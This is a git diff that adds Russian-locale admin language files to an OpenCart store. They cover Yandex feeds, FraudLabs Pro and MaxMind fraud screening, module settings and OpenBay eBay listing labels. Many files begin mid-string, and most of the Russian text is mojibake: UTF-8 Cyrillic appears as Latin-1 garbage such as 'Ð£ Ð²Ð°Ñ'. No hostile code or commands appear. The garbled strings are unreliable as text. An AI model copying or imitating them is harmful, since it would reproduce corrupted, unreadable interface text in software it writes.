+++ b/public/admin/language/ru-ru/extension/feed/yandex_market.php
@@ -0,0 +1,89 @@
+Форуме';
+
+// Error
+$_['error_image_width'] = 'Укажите ширину!';
+$_['error_image_height'] = 'Укажите выÑоту!';
+$_['error_image_width_min'] = 'Ширина Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð½Ðµ должна быть меньше 250 точек!';
+$_['error_image_height_min'] = 'Ð’Ñ‹Ñота Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð½Ðµ должна быть меньше 250 точек!';
+$_['error_image_width_max'] = 'Ширина Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð½Ðµ должна быть больше 3500 точек!';
+$_['error_image_height_max'] = 'Ð’Ñ‹Ñота Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð½Ðµ должна быть больше 3500 точек!';
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/feed/yandex_turbo.php b/public/admin/language/ru-ru/extension/feed/yandex_turbo.php
new file mode 100644
index 0000000..f7c41e1
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/feed/yandex_turbo.php
@@ -0,0 +1,18 @@
+@spectre';
+$_['entry_data_feed'] = 'ÐÐ´Ñ€ÐµÑ Yandex';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/fraud/fraudlabspro.php b/public/admin/language/ru-ru/extension/fraud/fraudlabspro.php
new file mode 100644
index 0000000..c63fb6b
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/fraud/fraudlabspro.php
@@ -0,0 +1,83 @@
+sign up here for a free API Key.';
+$_['text_id'] = 'FraudLabs Pro ID';
+$_['text_ip_address'] = 'IP Address';
+$_['text_ip_net_speed'] = 'IP Net Speed';
+$_['text_ip_isp_name'] = 'IP ISP Name';
+$_['text_ip_usage_type'] = 'IP Usage Type';
+$_['text_ip_domain'] = 'IP Domain';
+$_['text_ip_time_zone'] = 'IP Time Zone';
+$_['text_ip_location'] = 'IP Location';
+$_['text_ip_distance'] = 'IP Distance';
+$_['text_ip_latitude'] = 'IP Latitude';
+$_['text_ip_longitude'] = 'IP Longitude';
+$_['text_risk_country'] = 'High Risk Country';
+$_['text_free_email'] = 'Free Email';
+$_['text_ship_forward'] = 'Ship Forward';
+$_['text_using_proxy'] = 'Using Proxy';
+$_['text_bin_found'] = 'BIN Found';
+$_['text_email_blacklist'] = 'Email Blacklist';
+$_['text_credit_card_blacklist'] = 'Credit Card Blacklist';
+$_['text_score'] = 'FraudLabs Pro Score';
+$_['text_status'] = 'FraudLabs Pro Status';
+$_['text_message'] = 'Message';
+$_['text_transaction_id'] = 'Transaction ID';
+$_['text_credits'] = 'Balance';
+$_['text_error'] = 'Error:';
+$_['text_flp_upgrade'] = '[Upgrade]';
+$_['text_flp_merchant_area'] = 'Please login to FraudLabs Pro Merchant Area for more information about this order.';
+
+
+// Entry
+$_['entry_status'] = 'Status';
+$_['entry_key'] = 'API Key';
+$_['entry_score'] = 'Risk Score';
+$_['entry_order_status'] = 'Order Status';
+$_['entry_review_status'] = 'Review Status';
+$_['entry_approve_status'] = 'Approve Status';
+$_['entry_reject_status'] = 'Reject Status';
+$_['entry_simulate_ip'] = 'Simulate IP';
+
+// Help
+$_['help_order_status'] = 'Orders that have a score over your set risk score will be assigned this order status.';
+$_['help_review_status'] = 'Orders that marked as review by FraudLabs Pro will be assigned this order status.';
+$_['help_approve_status'] = 'Orders that marked as approve by FraudLabs Pro will be assigned this order status.';
+$_['help_reject_status'] = 'Orders that marked as reject by FraudLabs Pro will be assigned this order status.';
+$_['help_simulate_ip'] = 'Simulate the visitor IP address for testing. Leave blank to disable it.';
+$_['help_fraudlabspro_id'] = 'Unique identifier for a transaction screened by FraudLabs Pro system.';
+$_['help_ip_address'] = 'IP Address.';
+$_['help_ip_net_speed'] = 'Connection speed.';
+$_['help_ip_isp_name'] = 'ISP of the IP address.';
+$_['help_ip_usage_type'] = 'Usage type of the IP address. E.g, ISP, Commercial, Residential.';
+$_['help_ip_domain'] = 'Domain name of the IP address.';
+$_['help_ip_time_zone'] = 'Time zone of the IP address.';
+$_['help_ip_location'] = 'Location of the IP address.';
+$_['help_ip_distance'] = 'Distance from IP address to Billing Location.';
+$_['help_ip_latitude'] = 'Latitude of the IP address.';
+$_['help_ip_longitude'] = 'Longitude of the IP address.';
+$_['help_risk_country'] = 'Whether IP address country is in the latest high risk country list.';
+$_['help_free_email'] = 'Whether e-mail is from free e-mail provider.';
+$_['help_ship_forward'] = 'Whether shipping address is a freight forwarder address.';
+$_['help_using_proxy'] = 'Whether IP address is from Anonymous Proxy Server.';
+$_['help_bin_found'] = 'Whether the BIN information matches our BIN list.';
+$_['help_email_blacklist'] = 'Whether the email address is in our blacklist database.';
+$_['help_credit_card_blacklist'] = 'Whether the credit card is in our blacklist database.';
+$_['help_score'] = 'Risk score, 0 (low risk) - 100 (high risk).';
+$_['help_status'] = 'FraudLabs Pro status.';
+$_['help_message'] = 'FraudLabs Pro error message description.';
+$_['help_transaction_id'] = 'Click the link to view the fraud analysis details.';
+$_['help_credits'] = 'Balance of the credits available after this transaction.';
+
+// Error
+$_['error_permission'] = 'Warning: You do not have permission to modify FraudLabs Pro settings!';
+$_['error_key'] = 'API Key Required!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/fraud/ip.php b/public/admin/language/ru-ru/extension/fraud/ip.php
new file mode 100644
index 0000000..55ec788
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/fraud/ip.php
@@ -0,0 +1,30 @@
+sign up here.';
+$_['text_country_match'] = 'Country Match:';
+$_['text_country_code'] = 'Country Code:';
+$_['text_high_risk_country'] = 'High Risk Country:';
+$_['text_distance'] = 'Distance:';
+$_['text_ip_region'] = 'IP Region:';
+$_['text_ip_city'] = 'IP City:';
+$_['text_ip_latitude'] = 'IP Latitude:';
+$_['text_ip_longitude'] = 'IP Longitude:';
+$_['text_ip_isp'] = 'ISP:';
+$_['text_ip_org'] = 'IP Organization:';
+$_['text_ip_asnum'] = 'ASNUM:';
+$_['text_ip_user_type'] = 'IP User Type:';
+$_['text_ip_country_confidence'] = 'IP Country Confidence:';
+$_['text_ip_region_confidence'] = 'IP Region Confidence:';
+$_['text_ip_city_confidence'] = 'IP City Confidence:';
+$_['text_ip_postal_confidence'] = 'IP Postal Confidence:';
+$_['text_ip_postal_code'] = 'IP Postal Code:';
+$_['text_ip_accuracy_radius'] = 'IP Accuracy Radius:';
+$_['text_ip_net_speed_cell'] = 'IP Net Speed Cell';
+$_['text_ip_metro_code'] = 'IP Metro Code:';
+$_['text_ip_area_code'] = 'IP Area Code:';
+$_['text_ip_time_zone'] = 'IP Time Zone:';
+$_['text_ip_region_name'] = 'IP Region Name:';
+$_['text_ip_domain'] = 'IP Domain:';
+$_['text_ip_country_name'] = 'IP Country Name:';
+$_['text_ip_continent_code'] = 'IP Continent Code:';
+$_['text_ip_corporate_proxy'] = 'IP Corporate Proxy:';
+$_['text_anonymous_proxy'] = 'Anonymous Proxy:';
+$_['text_proxy_score'] = 'Proxy Score:';
+$_['text_is_trans_proxy'] = 'Is Transparent Proxy:';
+$_['text_free_mail'] = 'Free Mail:';
+$_['text_carder_email'] = 'Carder Email:';
+$_['text_high_risk_username'] = 'High Risk Username:';
+$_['text_high_risk_password'] = 'High Risk Password:';
+$_['text_bin_match'] = 'Bin Match:';
+$_['text_bin_country'] = 'Bin Country:';
+$_['text_bin_name_match'] = 'Bin Name Match:';
+$_['text_bin_name'] = 'Bin Name:';
+$_['text_bin_phone_match'] = 'Bin Phone Match:';
+$_['text_bin_phone'] = 'Bin Phone:';
+$_['text_customer_phone_in_billing_location'] = 'Customer Phone Number in Billing Location:';
+$_['text_ship_forward'] = 'Shipping Forward:';
+$_['text_city_postal_match'] = 'City Postal Match:';
+$_['text_ship_city_postal_match'] = 'Shipping City Postal Match:';
+$_['text_score'] = 'Score:';
+$_['text_explanation'] = 'Explanation:';
+$_['text_risk_score'] = 'Risk Score:';
+$_['text_queries_remaining'] = 'Queries Remaining:';
+$_['text_maxmind_id'] = 'Maxmind ID:';
+$_['text_error'] = 'Error:';
+
+// Entry
+$_['entry_key'] = 'MaxMind License Key';
+$_['entry_score'] = 'Risk Score';
+$_['entry_order_status'] = 'СтатуÑ';
+$_['entry_status'] = 'СтатуÑ';
+
+// Help
+$_['help_score'] = 'The higher the score the more likely the order is fraudulent. Set a score between 0 - 100.';
+$_['help_order_status'] = 'Orders that have a score over your set risk score will be assigned this order status and will not be allowed to reach the complete status automatically.';
+$_['help_country_match'] = 'Whether country of IP address matches billing address country (mismatch = higher risk).';
+$_['help_country_code'] = 'Country Code of the IP address.';
+$_['help_high_risk_country'] = 'Whether IP address or billing address country is in Ghana, Nigeria, or Vietnam.';
+$_['help_distance'] = 'Distance from IP address to Billing Location in kilometers (large distance = higher risk).';
+$_['help_ip_region'] = 'Estimated State/Region of the IP address.';
+$_['help_ip_city'] = 'Estimated City of the IP address.';
+$_['help_ip_latitude'] = 'Estimated Latitude of the IP address.';
+$_['help_ip_longitude'] = 'Estimated Longitude of the IP address.';
+$_['help_ip_isp'] = 'ISP of the IP address.';
+$_['help_ip_org'] = 'Organization of the IP address.';
+$_['help_ip_asnum'] = 'Estimated Autonomous System Number of the IP address.';
+$_['help_ip_user_type'] = 'Estimated user type of the IP address.';
+$_['help_ip_country_confidence'] = 'Representing our confidence that the country location is correct.';
+$_['help_ip_region_confidence'] = 'Representing our confidence that the region location is correct.';
+$_['help_ip_city_confidence'] = 'Representing our confidence that the city location is correct.';
+$_['help_ip_postal_confidence'] = 'Representing our confidence that the postal code location is correct.';
+$_['help_ip_postal_code'] = 'Estimated Postal Code of the IP address.';
+$_['help_ip_accuracy_radius'] = 'The average distance between the actual location of the end user using the IP address and the location returned by the GeoIP City database, in miles.';
+$_['help_ip_net_speed_cell'] = 'Estimated network type of the IP address.';
+$_['help_ip_metro_code'] = 'Estimated Metro Code of the IP address.';
+$_['help_ip_area_code'] = 'Estimated Area Code of the IP address.';
+$_['help_ip_time_zone'] = 'Estimated Time Zone of the IP address.';
+$_['help_ip_region_name'] = 'Estimated Region name of the IP address.';
+$_['help_ip_domain'] = 'Estimated domain of the IP address.';
+$_['help_ip_country_name'] = 'Estimated Country name of the IP address.';
+$_['help_ip_continent_code'] = 'Estimated Continent code of the IP address.';
+$_['help_ip_corporate_proxy'] = 'Whether the IP is an Corporate Proxy in the database or not.';
+$_['help_anonymous_proxy'] = 'Whether IP address is Anonymous Proxy (anonymous proxy = very high risk).';
+$_['help_proxy_score'] = 'Likelihood of IP Address being an Open Proxy.';
+$_['help_is_trans_proxy'] = 'Whether IP address is in our database of known transparent proxy servers, returned if forwardedIP is passed as an input.';
+$_['help_free_mail'] = 'Whether e-mail is from free e-mail provider (free e-mail = higher risk).';
+$_['help_carder_email'] = 'Whether e-mail is in database of high risk e-mails.';
+$_['help_high_risk_username'] = 'Whether usernameMD5 input is in database of high risk usernames. Only returned if usernameMD5 is included in inputs.';
+$_['help_high_risk_password'] = 'Whether passwordMD5 input is in database of high risk passwords. Only returned if passwordMD5 is included in inputs.';
+$_['help_bin_match'] = 'Whether country of issuing bank based on BIN number matches billing address country.';
+$_['help_bin_country'] = 'Country Code of the bank which issued the credit card based on BIN number.';
+$_['help_bin_name_match'] = 'Whether name of issuing bank matches inputted BIN name. A return value of Yes provides a positive indication that cardholder is in possession of credit card.';
+$_['help_bin_name'] = 'Name of the bank which issued the credit card based on BIN number. Available for approximately 96% of BIN numbers.';
+$_['help_bin_phone_match'] = 'Whether customer service phone number matches inputed BIN Phone. A return value of Yes provides a positive indication that cardholder is in possession of credit card.';
+$_['help_bin_phone'] = 'Customer service phone number listed on back of credit card. Available for approximately 75% of BIN numbers. In some cases phone number returned may be outdated.';
+$_['help_customer_phone_in_billing_location'] = 'Whether the customer phone number is in the billing zip code. A return value of Yes provides a positive indication that the phone number listed belongs to the cardholder. A return value of No indicates that the phone number may be in a different area, or may not be listed in our database. NotFound is returned when the phone number prefix cannot be found in our database at all. Currently we only support US Phone numbers.';
+$_['help_ship_forward'] = 'Whether shipping address is in database of known mail drops.';
+$_['help_city_postal_match'] = 'Whether billing city and state match zipcode. Currently available for US addresses only, returns empty string outside the US.';
+$_['help_ship_city_postal_match'] = 'Whether shipping city and state match zipcode. Currently available for US addresses only, returns empty string outside the US.';
+$_['help_score'] = 'Overall fraud score based on outputs listed above. This is the original fraud score, and is based on a simple formula. It has been replaced with risk score (see below), but is kept for backwards compatibility.';
+$_['help_explanation'] = 'A brief explanation of the score, detailing what factors contributed to it, according to our formula. Please note this corresponds to the score, not the riskScore.';
+$_['help_risk_score'] = 'New fraud score representing the estimated probability that the order is fraud, based off of analysis of past minFraud transactions. Requires an upgrade for clients who signed up before February 2007.';
+$_['help_queries_remaining'] = 'Number of queries remaining in your account, can be used to alert you when you may need to add more queries to your account.';
+$_['help_maxmind_id'] = 'Unique identifier, used to reference transactions when reporting fraudulent activity back to MaxMind. This reporting will help MaxMind improve its service to you and will enable a planned feature to customize the fraud scoring formula based on your chargeback history.';
+$_['help_error'] = 'Returns an error string with a warning message or a reason why the request failed.';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_key'] = 'License Key Required!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/installer.php b/public/admin/language/ru-ru/extension/installer.php
new file mode 100644
index 0000000..0026516
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/installer.php
@@ -0,0 +1,42 @@
+clicking here and choose taxonomy with numeric IDs in Plain Text (.txt) file. Upload via the green import button.';
+
+// Column
+$_['column_google_category'] = 'Google Category';
+$_['column_category'] = 'Category';
+$_['column_action'] = 'Action';
+
+// Entry
+$_['entry_google_category'] = 'Google Category';
+$_['entry_category'] = 'Category';
+$_['entry_data_feed'] = 'Data Feed Url';
+$_['entry_status'] = 'Status';
+
+// Error
+$_['error_permission'] = 'Warning: You do not have permission to modify Google Base feed!';
+$_['error_upload'] = 'File could not be uploaded!';
+$_['error_filetype'] = 'Invalid file type!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/modification.php b/public/admin/language/ru-ru/extension/modification.php
new file mode 100644
index 0000000..8bea55c
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/modification.php
@@ -0,0 +1,22 @@
+ '. $_['page_title'];
+// Tab
+$_['tab_settings'] = 'ÐаÑтройки';
+$_['tab_help'] = 'Помощь';
+
+// Text
+$_['text_extension'] = 'Модули';
+$_['text_edit'] = 'Редактирование модулÑ';
+$_['text_success'] = 'ÐаÑтройки Ð¼Ð¾Ð´ÑƒÐ»Ñ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ñ‹!';
+$_['text_success_clear'] = 'УÑпешно очищено!';
+$_['text_documentation'] = 'ДокументациÑ';
+$_['text_developer'] = 'Разработчик';
+$_['text_clear'] = 'ОчиÑтить';
+$_['text_clear_all'] = 'ОчиÑтить вÑе';
+$_['text_refresh'] = 'ОчиÑтить и обновить';
+$_['text_cache'] = 'КÑш';
+$_['text_cache_system'] = 'КÑш twig и ÑиÑтемы';
+$_['text_cache_modification'] = 'КÑш модификаций';
+$_['text_cache_image'] = 'КÑш изображений';
+$_['text_log'] = 'Логи';
+$_['text_log_error'] = 'Лог ошибок';
+$_['text_log_modification'] = 'Лог модификаций';
+
+// Entry
+$_['entry_status'] = 'СтатуÑ';
+$_['entry_size'] = 'Отображать размеры';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÑ‚ прав Ð´Ð»Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ñтого модулÑ!';
diff --git a/public/admin/language/ru-ru/extension/module/popular.php b/public/admin/language/ru-ru/extension/module/popular.php
new file mode 100644
index 0000000..dd56f3c
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/module/popular.php
@@ -0,0 +1,25 @@
+WD Категории';
+$_['entry_name'] = 'Ðазвание';
+$_['entry_category'] = 'Категории';
+$_['help_category'] = 'Выберите необходимые Ð´Ð»Ñ Ð¿Ð¾ÐºÐ°Ð·Ð° категории';
+$_['entry_width_height'] = 'Размеры изображениÑ';
+// Text
+$_['text_module'] = 'Модули';
+$_['text_success'] = 'ÐаÑтройки уÑпешно изменены!';
+$_['text_edit'] = 'Редактирование';
+
+// Entry
+$_['entry_status'] = 'СтатуÑ';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/module/subscribe.php b/public/admin/language/ru-ru/extension/module/subscribe.php
new file mode 100644
index 0000000..8226345
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/module/subscribe.php
@@ -0,0 +1,28 @@
+ТекÑÑ‚ пиÑьма покупателю, подпиÑавшемуÑÑ Ð½Ð° раÑÑылку';
+$_['text_subscribe'] = 'ПодпиÑка';
+
+// Entry
+$_['error_subscribe_description'] = 'Ðазвание Ñтатьи должно быть до 30000 Ñимволов!';
+$_['entry_id'] = 'ID';
+$_['entry_layout'] = 'Схема:';
+$_['entry_position'] = 'РаÑположение:';
+$_['entry_status'] = 'СтатуÑ:';
+$_['entry_sort_order'] = 'ПорÑдок Ñортировки:';
+$_['entry_email_alert'] = 'Оповещение e-mail:';
+$_['entry_subscribe_confirm'] = 'Подтверждение подпиÑки e-mail:';
+
+// Error
+$_['error_permission'] = 'У Ð’Ð°Ñ Ð½ÐµÑ‚ прав Ð´Ð»Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð¼Ð¾Ð´ÑƒÐ»Ñ subscribe!';
+$_['error_warning'] = 'Внимательно проверьте форму на ошибки!';
+?>
diff --git a/public/admin/language/ru-ru/extension/module/wd_banners.php b/public/admin/language/ru-ru/extension/module/wd_banners.php
new file mode 100644
index 0000000..2539159
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/module/wd_banners.php
@@ -0,0 +1,24 @@
+WD Баннеры, Ñлайды, групповые Ñлементы';
+$_['text_extension'] = 'Модули';
+$_['entry_include'] = 'Подключаемые Ñтили и Ñкрипты';
+$_['entry_include_help'] = 'Путь до файлов Ñтилей или Ñкриптов, отноÑительно ÐºÐ¾Ñ€Ð½Ñ Ñайта, Ð´Ð»Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ñ‹ модулÑ. По одному пути на Ñтроку';
+$_['entry_twig'] = 'Ð˜Ð¼Ñ TWIG файла Ð´Ð»Ñ Ð²Ñ‹Ð²Ð¾Ð´Ð°';
+$_['entry_twig_help'] = 'ЕÑли указано, то Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¼Ð¾Ð´ÑƒÐ»Ñ Ð½Ð° витрине будет подключён неÑтандартный twig-файл. ПозаботьтеÑÑŒ о его наличии и корректном коде.';
+$_['text_success'] = 'ÐаÑтройки Ð¼Ð¾Ð´ÑƒÐ»Ñ ÑƒÑпешно изменены!';
+$_['text_edit'] = 'Редактирование Ñлайдшоу';
+$_['entry_name'] = 'Ð˜Ð¼Ñ Ð¼Ð¾Ð´ÑƒÐ»Ñ Ð² админке';
+$_['entry_width_height'] = 'Размер Ñлайдшоу, в пикÑелÑÑ…';
+$_['entry_effect_in'] = 'Ðффект поÑÐ²Ð»ÐµÐ½Ð¸Ñ Ñлайда';
+$_['entry_effect_out'] = 'Ðффект иÑÑ‡ÐµÐ·Ð°Ð½Ð¸Ñ Ñлайда';
+$_['entry_delay'] = 'Ð’Ñ€ÐµÐ¼Ñ Ð¿Ð¾ÐºÐ°Ð·Ð° Ñлайда, в Ñекундах';
+$_['entry_hide'] = 'Показывать Ð¸Ð¼Ñ Ð¼Ð¾Ð´ÑƒÐ»Ñ Ð½Ð° витрине';
+$_['entry_banner'] = 'Баннер';
+$_['entry_status'] = 'СтатуÑ';
+$_['entry_fullwidth'] = 'Показывать текÑÑ‚ Ñлайдера поверх изображениÑ';
+$_['error_permission'] = 'Предупреждение Ð’Ñ‹ не имеете Ñ€Ð°Ð·Ñ€ÐµÑˆÐµÐ½Ð¸Ñ Ð½Ð° изменение модулÑ!';
+$_['error_name'] = 'Ðазвание Ð¼Ð¾Ð´ÑƒÐ»Ñ Ð´Ð¾Ð»Ð¶Ð½Ð¾ быть от 3 до 64 Ñимволов!';
+$_['error_width'] = 'Ширина требуетÑÑ!';
+$_['error_height'] = 'Ð’Ñ‹Ñота требуетÑÑ!';
+$_['error_twig'] = 'Файл не ÑущеÑтвует!';
+?>
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/openbay.php b/public/admin/language/ru-ru/extension/openbay.php
new file mode 100644
index 0000000..f194932
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/openbay.php
@@ -0,0 +1,95 @@
+ or <';
+$_['error_tracking_courier'] = 'You must select a courier if you want to add a tracking ID';
+$_['error_tracking_custom'] = 'Please leave courier field empty if you want to use custom courier';
+$_['error_permission'] = 'You do not have permission to modify the OpenBay Pro extension';
+$_['error_mkdir'] = 'PHP mkdir function is disabled, contact your host';
+$_['error_file_delete'] = 'Unable to remove these files, you should delete them manually';
+$_['error_mcrypt'] = 'PHP function "mcrypt_encrypt" is not enabled. Contact your hosting provider.';
+$_['error_mbstring'] = 'PHP library "mb strings" is not enabled. Contact your hosting provider.';
+$_['error_oc_version'] = 'Your version of OpenCart is not tested to work with this module. You may experience problems.';
+$_['error_fopen'] = 'PHP function "fopen" is disabled by your host - you will be unable to import images when importing products';
+$_['lang_error_vqmod'] = 'Your vqmod folder contains older OpenBay Pro files - these need to be removed!';
+
+// Help
+$_['help_clear_faq'] = 'Show all of the help notifications again';
+$_['help_empty_data'] = 'This can cause serious damage, do not use it if you do not know what it does!';
+$_['help_easy_update'] = 'Click update to install the latest version of OpenBay Pro automatically';
+$_['help_patch'] = 'Click to run the patch scripts';
+$_['help_beta'] = 'Caution! The beta version is the latest development version. It may not be stable and could contain bugs.';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/openbay/amazon.php b/public/admin/language/ru-ru/extension/openbay/amazon.php
new file mode 100644
index 0000000..cf0ca97
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/openbay/amazon.php
@@ -0,0 +1,18 @@
+Caution! This will import all of your eBay products and build a category structure in your store. It is advised that you delete all categories and products before you run this option.
The category structure is from the normal eBay categories, not your shop categories (if you have an eBay shop). You can rename, remove and edit the imported categories without affecting your eBay products.';
+$_['text_sync_import_line3'] = 'You need to ensure your server can accept and process large POST data sizes. 1000 eBay items is about 40Mb in size, you will need to calculate what you require. If your call fails then it is likely your setting is too small. Your PHP memory limit needs to be about 128Mb.';
+$_['text_sync_server_size'] = 'Currently your server can accept: ';
+$_['text_sync_memory_size'] = 'Your PHP memory limit: ';
+$_['text_import_confirm'] = 'This will import all of your eBay items as new products, are you sure? This CAN NOT be undone! ENSURE you have a backup first!';
+$_['text_import_notify'] = 'Your import request has been sent for processing. An import takes about 1 hour per 1000 items.';
+$_['text_import_images_msg1'] = 'images are pending import/copy from eBay. Refresh this page, if the number does not decrease then';
+$_['text_import_images_msg2'] = 'click here';
+$_['text_import_images_msg3'] = 'and wait. More information about why this happened can be found here';
+
+// Entry
+$_['entry_import_item_advanced'] = 'Get advanced data';
+$_['entry_import_categories'] = 'Import categories';
+$_['entry_import_description'] = 'Import item descriptions';
+$_['entry_import'] = 'Import eBay items';
+
+// Buttons
+$_['button_import'] = 'Import';
+$_['button_complete'] = 'Complete';
+
+// Help
+$_['help_import_item_advanced'] = 'Will take up to 10 times longer to import items. Imports weights, sizes, ISBN and more if available';
+$_['help_import_categories'] = 'Builds a category structure in your store from the eBay categories';
+$_['help_import_description'] = 'This will import everything including HTML, visit counters etc';
+
+// Error
+$_['error_import'] = 'Failed to load';
+$_['error_maintenance'] = 'Your store is in maintenance mode. Importing will fail!';
+$_['error_ajax_load'] = 'Failed to connect to server';
+$_['error_validation'] = 'You need to register for your API token and enable the module.';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/openbay/ebay_links.php b/public/admin/language/ru-ru/extension/openbay/ebay_links.php
new file mode 100644
index 0000000..2014628
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/openbay/ebay_links.php
@@ -0,0 +1,57 @@
+ Options)';
+$_['text_catalog_help'] = 'This will change your main image and will be set to use the eBay catalog image';
+$_['text_failed_title'] = 'Listing your item failed';
+$_['text_failed_msg1'] = 'There may be multiple reasons for this.';
+$_['text_failed_li1'] = 'If you are a new eBay seller (or have not sold much in the past) - you will need to contact eBay to remove your seller restrictions';
+$_['text_failed_li2'] = 'You may have not subscribed to Selling Manager Pro on eBay - this is a requirement.';
+$_['text_failed_li3'] = 'Your OpenBay Pro account is suspended, please check via your module admin area under the "My Account" tab';
+$_['text_failed_contact'] = 'If this error continues, please contact support after you have ensured the issue is none of the above.';
+$_['text_template_images'] = 'Template images';
+$_['text_ebay_images'] = 'eBay images';
+$_['text_shipping_first'] = 'First item';
+$_['text_shipping_add'] = 'Additional items';
+$_['text_shipping_service'] = 'Service';
+$_['text_stock_reserved'] = ' will be reserved';
+$_['text_insert'] = 'Add new eBay listing';
+$_['text_price_ex_tax'] = 'Excluding tax';
+$_['text_price_inc_tax'] = 'Including tax';
+$_['text_ebay_imagesize_ok'] = 'The image size is good, it can be used on eBay';
+$_['text_compatible'] = 'Compatible options';
+$_['text_loading_compatibility'] = 'Loading compatibility options';
+$_['text_product_identifiers'] = 'Product identifiers';
+$_['text_ean'] = 'EAN';
+$_['text_upc'] = 'UPC';
+$_['text_isbn'] = 'ISBN';
+$_['text_identifier_not_required'] = 'Not required';
+
+// Column
+$_['column_stock_total'] = 'In stock';
+$_['column_stock_col_qty'] = 'To list';
+$_['column_stock_col_qty_reserve'] = 'Reserved';
+$_['column_price_ex_tax'] = 'Excluding tax';
+$_['column_price_inc_tax'] = 'Including tax';
+$_['column_stock_col_comb'] = 'Combination';
+$_['column_price'] = 'Price';
+$_['column_stock_col_enabled'] = 'Enabled';
+$_['column_thumb'] = 'Image';
+$_['column_img_size'] = 'Size';
+$_['column_template_image'] = 'Template image';
+$_['column_ebay_image'] = 'eBay image';
+$_['column_main_ebay_image'] = 'Main eBay image';
+$_['column_sku'] = 'SKU';
+
+// Entry
+$_['entry_compatibility'] = 'Parts compatibility';
+$_['entry_shop_category'] = 'Shop Category';
+$_['entry_category_popular'] = 'Popular Categories';
+$_['entry_category_suggested'] = 'eBay suggested category';
+$_['entry_category'] = 'Category';
+$_['entry_listing_condition'] = 'Item condition';
+$_['entry_listing_duration'] = 'Listing duration';
+$_['entry_search_catalog'] = 'Search eBay catalog:';
+$_['entry_catalog'] = 'Use default image';
+$_['entry_title'] = 'Title';
+$_['entry_subtitle'] = 'Sub title';
+$_['entry_description'] = 'Description';
+$_['entry_profile_load'] = 'Load profile';
+$_['entry_template'] = 'Theme';
+$_['entry_image_gallery'] = 'Gallery image size';
+$_['entry_image_thumb'] = 'Thumb image size';
+$_['entry_images_supersize'] = 'Supersize images';
+$_['entry_images_gallery_plus'] = 'Gallery plus';
+$_['text_stock_matrix'] = 'Stock matrix';
+$_['entry_qty'] = 'Quantity to list';
+$_['entry_price'] = 'Price';
+$_['entry_tax_inc'] = 'Tax included';
+$_['entry_offers'] = 'Allow buyers to make offers';
+$_['entry_private'] = 'Private listing';
+$_['entry_imediate_payment'] = 'Immediate payment required?';
+$_['entry_payment'] = 'Payments accepted';
+$_['entry_payment_instruction'] = 'Payment instructions';
+$_['entry_item_postcode'] = 'Postcode/Zip of location';
+$_['entry_item_location'] = 'Town or State of location';
+$_['entry_despatch_country'] = 'Dispatch country';
+$_['entry_despatch_time'] = 'Dispatch time';
+$_['entry_shipping_getitfast'] = 'Get It Fast!';
+$_['entry_shipping_cod'] = 'Cash on delivery fee';
+$_['entry_shipping_type_nat'] = 'National shipping type';
+$_['entry_shipping_nat'] = 'National shipping services';
+$_['entry_shipping_handling_nat'] = 'Handling fee (national)';
+$_['entry_shipping_in_desc'] = 'Freight info in description';
+$_['entry_shipping_type_int'] = 'International shipping type';
+$_['entry_shipping_intnat'] = 'International shipping services';
+$_['entry_shipping_handling_int'] = 'Handling fee (international)';
+$_['entry_shipping_pickupdropoff'] = 'Click and Collect';
+$_['entry_shipping_pickupinstore'] = 'Available for In-Store Pickup';
+$_['entry_shipping_global_shipping']= 'Use Global shipping service';
+$_['entry_shipping_promotion_discount'] = 'Combined shipping discounts (national)';
+$_['entry_shipping_promotion_discount_international'] = 'Combined shipping discounts (international)';
